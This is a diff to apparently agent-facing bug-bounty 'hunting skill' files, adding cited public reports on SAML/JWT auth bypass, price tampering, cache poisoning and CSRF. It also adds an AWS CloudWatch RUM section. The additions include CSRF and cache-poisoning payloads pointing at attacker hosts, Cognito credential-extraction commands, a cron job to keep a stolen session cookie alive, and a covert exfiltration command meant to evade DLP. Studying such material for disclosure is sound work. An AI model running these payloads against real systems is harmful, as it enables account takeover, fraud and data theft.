diff --git a/skills/hunt-auth-bypass/SKILL.md b/skills/hunt-auth-bypass/SKILL.md
index c4a7566..66bfd83 100644
--- a/skills/hunt-auth-bypass/SKILL.md
+++ b/skills/hunt-auth-bypass/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-auth-bypass
-description: Hunting skill for auth bypass vulnerabilities. Built from 4 public bug bounty reports. Use when hunting auth bypass on any target.
-sources: github
-report_count: 4
+description: Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.
+sources: github, hackerone_public, github_security_lab, projectdiscovery_research
+report_count: 12
---
## Crown Jewel Targets
@@ -317,6 +317,96 @@ An e-commerce platform's partner/reseller portal issued authentication tokens th
---
+## Disclosed Report Citations (Backfill +8 — 2016-2025)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
+
+5. **GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292)** ([H1 #2579939](https://hackerone.com/reports/2579939) · [Blog](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/))
+ - Subclass: SAML signature stripping / XSW (parser-differential variant)
+ - Payload: signed SAML response; inject a sibling `<Assertion>` so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled `<NameID>admin@target</NameID>`
+ - Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
+ - Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
+
+6. **GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985)** ([H1 #2475347](https://hackerone.com/reports/2475347) · [ProjectDiscovery advisory](https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass))
+ - Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
+ - Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including `site_admin`
+ - Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
+ - Year: 2024 — bounty undisclosed, CVSS 10.0
+
+7. **Uber — SAML auth bypass on `uchat.uberinternal.com`** ([H1 #223014](https://hackerone.com/reports/223014))
+ - Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
+ - Payload: replay/modify SAML assertion with forged `NameID`; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
+ - Root cause: improper SAML signature verification on SP implementation
+ - Year: 2017 — **$8,500**
+
+8. **Uber — OneLogin SSO bypass via WordPress XMLRPC** ([H1 #138869](https://hackerone.com/reports/138869))
+ - Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
+ - Payload: OneLogin plugin auto-created WP users with literal password `@@@nopass@@@`. SSO plugin blocked `wp-login.php` only. POST `xmlrpc.php` with `wp.getUsersBlogs` + known shared password → authenticated as any previously-SSO'd user
+ - Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
+ - Year: 2016 — **$7,000**
+
+9. **Slack — SAML "confused-deputy" assertion reuse** ([Writeup](http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html))
+ - Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
+ - Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
+ - Root cause: no audience-restriction nor freshness check; trust extended across IdPs
+ - Year: 2017 — **$3,000**
+
+10. **HackerOne — SAML signup domain enforcement bypass via control characters** ([H1 #2101076](https://hackerone.com/reports/2101076))
+ - Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
+ - Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g., `\r`, ``) to email → domain comparison normalises away, signup proceeds → unauthorised access to the org
+ - Root cause: inconsistent unicode/control-char normalisation between domain check and identity write
+ - Year: 2024 — bounty awarded (amount undisclosed)
+
+11. **8x8 / Jitsi-Meet — JWT alg-confusion (asymmetric verifier accepts symmetric alg)** ([H1 #1210502](https://hackerone.com/reports/1210502))
+ - Subclass: JWT alg-confusion (RS256 → HS256 using public key as HMAC secret)
+ - Payload: server publishes RS256 verification public key. Send a token with header `{"alg":"HS256"}` signed with that public key as the HMAC secret → Prosody module validates and admits attacker into authenticated/moderator room
+ - Root cause: verifier did not enforce `alg=RS256`; allowed symmetric algorithm using the public key as shared secret
+ - Year: 2021 — bounty undisclosed
+
+12. **Argo CD (Internet Bug Bounty) — JWT audience claim not validated (CVE-2023-22482)** ([H1 #1889161](https://hackerone.com/reports/1889161))
+ - Subclass: token-scope / audience check at issuance not at use (cross-audience token confusion)
+ - Payload: obtain any RS256-signed token signed by the cluster's OIDC issuer but minted for a different `aud` (e.g., `kubernetes`) → present it as bearer to Argo CD API → API treats it as valid because it accepted the issuer's signature and skipped `aud` enforcement
+ - Root cause: `aud` claim not enforced; signature-trust extended across audiences
+ - Year: 2023 — **$2,400** via IBB
+
+---
+
+## Duende BFF — Token-Confusion & Session-Fixation (2024-2026 surface)
+
+Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in `hunt-csrf`. Both are documented architectural realities, not unicorn CVEs.
+
+### Attack class 1 — YARP `UserOrClient` / `UserOrNone` privilege escalation
+
+`Duende.BFF.Yarp` attaches access tokens to proxied routes via `WithAccessToken(TokenType.X)` metadata. The **misconfig pattern**: developer marks a route `UserOrClient` (use user token if logged in, else fall back to *client-credentials* token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (`api.admin`, `internal.read`) than any user token. An **unauthenticated** attacker hitting that route gets the request proxied with the **service-account token attached** to the downstream API — privilege escalation by design when the downstream trusts the bearer.
+
+**Payload shape:** identify a BFF route marked `TokenType.UserOrClient` (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. ([docs.duendesoftware.com/bff/fundamentals/apis/yarp](https://docs.duendesoftware.com/bff/fundamentals/apis/yarp/))
+
+**Adjacent confirmed CVE:** **CVE-2024-51987** in `Duende.AccessTokenManagement.OpenIdConnect` — *"HTTP client uses incorrect token after refresh"* — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. ([GHSA-...51987](https://github.com/advisories?query=duende))
+
+### Attack class 2 — Cookie-domain wildcard + sliding expiration = persistent ATO
+
+When BFF session cookie has `Domain=.example.com` (devs do this to share login across `app.` and `admin.`), the `__Host-` prefix protection is dropped. Any sibling subdomain — including a **taken-over** one (`legacy.example.com` CNAMEd to deprovisioned Heroku/S3) — can write `Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com`. Victim hits `app.example.com` carrying the attacker's session = **session-fixation ATO**.
+
+If `SlidingExpiration=true` (default) and `ExpireTimeSpan` is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls `/bff/user`. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.
+
+**Payload shape:** subdomain takeover → write the BFF session cookie with `Domain=.example.com` → victim's next visit to `app.example.com` adopts attacker's session. Cron-curl `GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...'` every 6h indefinitely to keep the session alive.
+
+**Hardening reference:** [docs.duendesoftware.com/bff/fundamentals/session/handlers](https://docs.duendesoftware.com/bff/fundamentals/session/handlers/), [nestenius.se BFF cookie guide](https://nestenius.se/net/bff-in-asp-net-core-3-the-bff-pattern-explained/), [Langkemper on `__Host-` prefix](https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/).
+
+### Attack class 3 — `/bff/user` claim disclosure
+
+`GET /bff/user` returns the **full claim set** of the active session as a JSON array — `sub`, `sid`, `email`, `bff:session_expires_in`, `bff:session_state`, `bff:logout_url`, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + `X-CSRF: 1`. If `AnonymousSessionResponse=Response200` is set, the endpoint also acts as a session probe (200 + claims vs 200 + `null`) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. ([docs.duendesoftware.com/bff/fundamentals/session/management/user](https://docs.duendesoftware.com/bff/fundamentals/session/management/user/))
+
+### Evidence strength + reporting tip
+
+No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent `Duende.AccessTokenManagement` packages make token-confusion a confirmed family. **Report by chain impact** (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.
+
+Cross-references for the chain:
+- `hunt-csrf` — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
+- `hunt-subdomain-takeover` / `hunt-subdomain` — required primitive for the cookie-domain attack.
+
+---
+
## Related Skills & Chains
- **`hunt-idor`** — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy `/v1/users/{id}` route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.
diff --git a/skills/hunt-business-logic/SKILL.md b/skills/hunt-business-logic/SKILL.md
index cbc1485..5d9df58 100644
--- a/skills/hunt-business-logic/SKILL.md
+++ b/skills/hunt-business-logic/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-business-logic
-description: Hunting skill for business logic vulnerabilities. Built from 7 public bug bounty reports. Use when hunting business logic on any target.
-sources: hackerone_public
-report_count: 7
+description: Hunting skill for business logic vulnerabilities. Built from 12 public bug bounty reports. Covers coupon-race-stacking (Instacart, Stripe, Reverb), negative-quantity-in-cart price tampering (Upserve, Eternal/Zomato), decimal/fraction price-field overflow (Shipt), client-side checkout amount trust on PayPal redirect (WordPress.org), price-per-unit mass-assignment (Krisp), and archived-price swap / cart-TOCTOU (Stripe). Use when hunting business logic — heavy emphasis on financial-impact-demonstrated cases.
+sources: hackerone_public, github
+report_count: 12
---
## Crown Jewel Targets
@@ -189,6 +189,42 @@ A breach-monitoring service required email verification before enabling monitori
---
+## Disclosed Report Citations (Backfill +5 — 2016-2023)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. All five share a measurable financial-impact angle (actual $ loss demonstrated or quantifiable platform-wide exposure).
+
+8. **Stripe — Fee discount race redemption** ([H1 #1849626](https://hackerone.com/reports/1849626))
+ - Subclass: coupon/discount race-multi-redemption + financial primitive
+ - Payload: Stripe Support applied a one-time $20,000 fee-credit. Researcher captured the "accept-discount" POST and replayed it 30× in parallel via Burp Turbo Intruder, each acceptance crediting the account anew
+ - Root cause: idempotency missing on discount-acceptance endpoint; no unique constraint on (account_id, discount_id)
+ - Year: 2023 — **$5,000**, $600,000 of fee-free transactions accrued before fix (~$18,000 real Stripe loss at 3% take rate)
+
+9. **Reverb.com — Gift-card race multi-redemption** ([H1 #759247](https://hackerone.com/reports/759247))
+ - Subclass: gift-card / store-credit race-redemption
+ - Payload: single valid gift card, parallel-POST to `/redeem` from 10 sockets via Turbo Intruder. Balance credits N× the face value
+ - Root cause: no row-level lock on gift_card table; balance debit and credit live in separate transactions
+ - Year: 2019 — **$1,500**
+
+10. **Upserve / OLO — Negative-quantity price manipulation** ([H1 #364843](https://hackerone.com/reports/364843))
+ - Subclass: negative-quantity-in-cart price tampering
+ - Payload: `POST /api/order {"items":[{"id":1,"qty":1,"price":50},{"id":2,"qty":-3,"price":50}]}` — order total computes to `-$100`, floors to ~$0 at payment capture, food still fulfills
+ - Root cause: server multiplies `qty * price` with no `qty >= 1` guard
+ - Year: 2018 — textbook citation for the subclass (acknowledged-only program)
+
+11. **Krisp — Pay-less-per-seat via PUT tampering** ([H1 #1446090](https://hackerone.com/reports/1446090))
+ - Subclass: price-per-unit mass-assignment / quantity-discount manipulation
+ - Payload: `PUT /v2/seats` body includes a server-trusted `price` field. Set `price=1` instead of $60. Subscription updates, billing engine charges $1/seat for 100 seats
+ - Root cause: server reads price from request body instead of looking it up by plan_id; classic mass-assignment
+ - Year: 2021 — Stripe-billed SaaS pricing exposure
+
+12. **Stripe — Pay using archived price via mid-flow swap** ([H1 #1328278](https://hackerone.com/reports/1328278))
+ - Subclass: cart-state TOCTOU / cancel-then-deliver (price-version race at checkout)
+ - Payload: merchant archives an old price (e.g., $5 instead of new $50). Buyer starts checkout via the new payment-link, then mid-flow swaps `price_id` back to the archived one. Stripe charges $5; subscription provisions at the new tier
+ - Root cause: payment-link validates "is active", price object validates "exists" — but the join "price.active AND price ∈ link.allowed_prices" is missing
+ - Year: 2021 — Stripe Medium (per-subscription recurring loss)
+
+---
+
## Related Skills & Chains
- **`hunt-race-condition`** — Every uniqueness/quota check in a logic flow is a race candidate. Chain primitive: Business logic (coupon/credit/promotion) + race condition → coupon redeemed N times in a single TCP packet via Turbo Intruder.
diff --git a/skills/hunt-cache-poison/SKILL.md b/skills/hunt-cache-poison/SKILL.md
index cad15b6..abaefcf 100644
--- a/skills/hunt-cache-poison/SKILL.md
+++ b/skills/hunt-cache-poison/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-cache-poison
-description: Hunting skill for cache poison vulnerabilities. Built from 4 public bug bounty reports. Use when hunting cache poison on any target.
-sources: github, hackerone_public
-report_count: 4
+description: Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.
+sources: github, hackerone_public, portswigger_research, omergil_research, youstin_research
+report_count: 10
---
## Crown Jewel Targets
@@ -244,6 +244,48 @@ An attacker discovered that the Linkpop affiliate link service would cache respo
---
+## Disclosed Report Citations (Backfill +6 — 2017-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans the two major families: cache **poisoning** (attacker influences a cached response served to victims) and cache **deception** (attacker tricks the cache into storing a victim's private response).
+
+5. **Shopify — Cache poisoning via X-Forwarded-Host** ([H1 #977851](https://hackerone.com/reports/977851))
+ - Subclass: X-Forwarded-Host header poisoning (unkeyed input → redirect/script-src corruption)
+ - Payload: `GET /any-path` with `X-Forwarded-Host: attacker.com` — single request persisted attacker host in cached response across `apps.shopify.com` and localized subdomains
+ - Root cause: X-Forwarded-Host influenced asset/redirect URL generation but was NOT part of the cache key
+ - Year: 2020 — **$1,300 → escalated to $6,300** (one-shot poison, multi-host blast radius)
+
+6. **HackerOne — Cache poisoning DoS via X-Forwarded-Port** ([H1 #409370](https://hackerone.com/reports/409370))
+ - Subclass: X-Forwarded-Host / X-Forwarded-Port DoS (poisoned redirect to invalid port)
+ - Payload: `GET /<redirect-path>` with `X-Forwarded-Port: 1` — cached 301 redirect pointed legitimate users at port 1, breaking access
+ - Root cause: trusted X-Forwarded-* headers in 301 redirect generation; cache stored the bad Location
+ - Year: 2018 — **$2,500** (foundational H1-on-H1 case)
+
+7. **GitLab — Cache poisoning DoS via X-HTTP-Method-Override** ([H1 #1160407](https://hackerone.com/reports/1160407))
+ - Subclass: method-cloaking / GCS cache-key bleed (HEAD response stored under GET key)
+ - Payload: `GET /assets/webpack/*.js` with `X-HTTP-Method-Override: HEAD` — GCS backend honored the override and returned an empty body; CDN cached it as the canonical GET response
+ - Root cause: CDN cache not method-aware; HEAD body (empty) overwrote GET entry for cached static assets
+ - Year: 2021 — **$2,500** (DoS normally OOS, paid for novelty)
+
+8. **PayPal — Web Cache Deception (Omer Gil original)** ([Blog](https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html))
+ - Subclass: classic WCD via `.css`/`.jpg`/etc. path appending on authenticated routes
+ - Payload: `GET https://www.paypal.com/myaccount/home/foo.css` — origin served full authenticated account page; CDN cached it as "static .css" for ~5 hours
+ - Root cause: origin routed unknown path suffixes to the parent dynamic handler; CDN cached based purely on the static-looking file extension
+ - Year: 2017 — **$3,000** (PortSwigger Top-10 Web Hacking Technique of 2017, #2)
+
+9. **Cloudflare PBB — Cache Deception Armor bypass via `.avif`** ([H1 #1391635](https://hackerone.com/reports/1391635))
+ - Subclass: CDN-specific allowlist bypass (Cloudflare's WCD protection feature) using an obscure image extension
+ - Payload: `GET https://<protected-origin>/account/me.avif` — Cloudflare's Cache Deception Armor extension list omitted `.avif`, so the authenticated HTML response was cached
+ - Root cause: Cache Deception Armor used a static, incomplete extension allowlist that did not cover modern image MIME types
+ - Year: 2022 — Cloudflare PBB bounty (amount undisclosed)
+
+10. **Akamai (PayPal/Airbnb/Goldman Sachs) — Hop-by-hop header smuggling → server-side edge poisoning** ([Tediosi & Mariani writeup](https://medium.com/@jacopotediosi/worldwide-server-side-cache-poisoning-on-all-akamai-edge-nodes-50k-bounty-earned-f97d80f3922b))
+ - Subclass: CDN-specific request-smuggling that lands attacker responses in Akamai's edge cache for nearby IPs
+ - Payload: `Connection: Content-Length` + crafted request — Akamai's first proxy stripped Content-Length as hop-by-hop, second proxy treated body as a second request whose response was cached at the edge
+ - Root cause: inconsistent handling of hop-by-hop headers across Akamai proxy tiers caused desync; smuggled responses were server-side cached globally
+ - Year: 2022 — **>$50K total** across affected programs (PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100), PortSwigger Top-10 Web Hacking Techniques 2022 nominee
+
+---
+
## Related Skills & Chains
- **`hunt-xss`** — Cache poisoning is the multiplier that turns reflected XSS (low-severity self-inflicted) into stored XSS across every CDN-edge visitor. Chain primitive: `X-Forwarded-Host: attacker.com` poisons cached script src → cached response now contains `<script src="//attacker.com/x.js">` → every visitor to that CDN edge executes attacker JS, persistent for the full Cache-Control max-age.
diff --git a/skills/hunt-cloud-misconfig/SKILL.md b/skills/hunt-cloud-misconfig/SKILL.md
index 0c72bdc..b81e5e6 100644
--- a/skills/hunt-cloud-misconfig/SKILL.md
+++ b/skills/hunt-cloud-misconfig/SKILL.md
@@ -54,6 +54,128 @@ Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document t
---
+## CloudWatch RUM Weaponization (2024-2026 surface)
+
+AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
+
+### Detection — JS bundle fingerprints
+
+**Snippet-style (most common, embedded in `<head>`):**
+```javascript
+(function(n,i,v,r,s,c,x,z){...})(
+ 'cwr',
+ '00000000-0000-0000-0000-000000000000', // applicationId (UUID)
+ '1.0.0',
+ 'us-east-1',
+ 'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
+ {
+ sessionSampleRate: 1,
+ guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
+ identityPoolId: "us-east-1:abcd1234-...",
+ endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
+ telemetries: ["errors","performance","http"]
+ }
+);
+```
+
+**NPM-style (aws-rum-web package):**
+```javascript
+import { AwsRum, AwsRumConfig } from 'aws-rum-web';
+const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
+const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
+```
+
+### Regex set for recon
+
+```bash
+# Detect RUM init
+grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
+
+# Extract applicationId (UUID v4)
+grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
+
+# Extract identityPoolId (region:UUID)
+grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
+
+# Extract guestRoleArn (leaks AWS account ID + role name)
+grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
+
+# Endpoint reveals region
+grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
+```
+
+### Attack chains
+
+**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
+
+```bash
+aws cognito-identity get-id \
+ --identity-pool-id "us-east-1:abcd1234-..." \
+ --region us-east-1 --no-sign-request
+aws cognito-identity get-credentials-for-identity \
+ --identity-id "us-east-1:<returned-uuid>" \
+ --region us-east-1 --no-sign-request
+# → STS creds; export and:
+aws sts get-caller-identity # confirm role
+aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
+# Automate: pacu / enumerate-iam.py
+```
+
+Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
+
+**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
+
+```bash
+aws rum put-rum-events \
+ --id $(uuidgen) \
+ --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
+ --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
+ --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
+ --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
+ --region us-east-1
+```
+
+Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
+
+**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main.<hash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.
+
+**Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
+
+### Severity rubric
+
+| Finding | Severity | Justification |
+|---|---|---|
+| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |
+| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil / RCE depending on resource |
+| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |
+| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |
+| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |
+| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |
+| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |
+
+### Disclosed cases / authoritative writeups
+
+No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
+
+- **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023)** — establishes the attack class. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
+- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu)
+- **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
+- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
+- **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
+- **aws-observability/aws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com/aws-observability/aws-rum-web](https://github.com/aws-observability/aws-rum-web/issues)
+
+### Validation checklist (before reporting)
+
+1. Extract `identityPoolId` from page source.
+2. Confirm pool allows unauth identities (`get-id` succeeds without auth).
+3. Confirm `get-credentials-for-identity` returns STS creds.
+4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.
+5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.
+6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
+7. **Do not** modify/delete data even if permitted — read-only PoC only.
+
+---
+
## Related Skills & Chains
- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.
diff --git a/skills/hunt-csrf/SKILL.md b/skills/hunt-csrf/SKILL.md
index 3af5957..e22121c 100644
--- a/skills/hunt-csrf/SKILL.md
+++ b/skills/hunt-csrf/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-csrf
-description: Hunting skill for csrf vulnerabilities. Built from 10 public bug bounty reports. Use when hunting csrf on any target.
-sources: github, hackerone_public
-report_count: 10
+description: Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitHub Enterprise CVE-2022-23732 $10k), Origin-omission bypass (TikTok $2,500), OAuth-state null-byte (Streamlabs), WebSocket CSRF / CSWSH (Coda), default-SameSite email-change → ATO (YoYo Games $400), social-account-link CSRF (HackerOne), JSON-CSRF via text/plain on email-change (TikTok $500). Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns.
+sources: github, hackerone_public, bugcrowd_public, github_security_advisories
+report_count: 15
---
## Crown Jewel Targets
@@ -242,6 +242,78 @@ A POST endpoint accepting `application/json` was assumed CSRF-safe by developers
---
+## Disclosed Report Citations (Backfill +5 — 2020-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases chain CSRF to full ATO; all five are modern (SameSite-era).
+
+11. **Argo CD — SameSite=Lax bypass via sibling subdomain + Content-Type abuse (CVE-2024-22424)** ([GHSA-92mw-q256-5vwg](https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg) · [Writeup](https://blog.calif.io/p/argo-cd-csrf))
+ - Subclass: SameSite=None/Lax misconfig chain — same parent-domain bypass + JSON CSRF via missing Content-Type enforcement
+ - Payload: hosted on `marketing.victim.com`, target `argocd.internal.victim.com` → `fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})`
+ - Root cause: Argo CD did not enforce `Content-Type: application/json`, and SameSite=Lax is moot when the attacker controls any sibling subdomain of the shared parent
+ - Year: 2023 reported, fixed Jan 2024 in 2.7.16/2.8.8/2.9.4
+
+12. **GitLab — CSRF on `/api/graphql` via GET-converted mutations** ([H1 #1122408](https://hackerone.com/reports/1122408))
+ - Subclass: GET-state-changing endpoint (GraphQL mutations through GET requests)
+ - Payload: `<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">`
+ - Root cause: backend skipped `X-CSRF-Token` validation when the HTTP method was GET; GraphQL accepted mutations via `?query=mutation{...}` query string
+ - Year: 2021 — **$3,370**
+
+13. **Stripe Dashboard — CSRF middleware disabled by code change** ([H1 #1483327](https://hackerone.com/reports/1483327))
+ - Subclass: framework misconfiguration — middleware globally disabled
+ - Payload: `<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form>` + auto-submit script
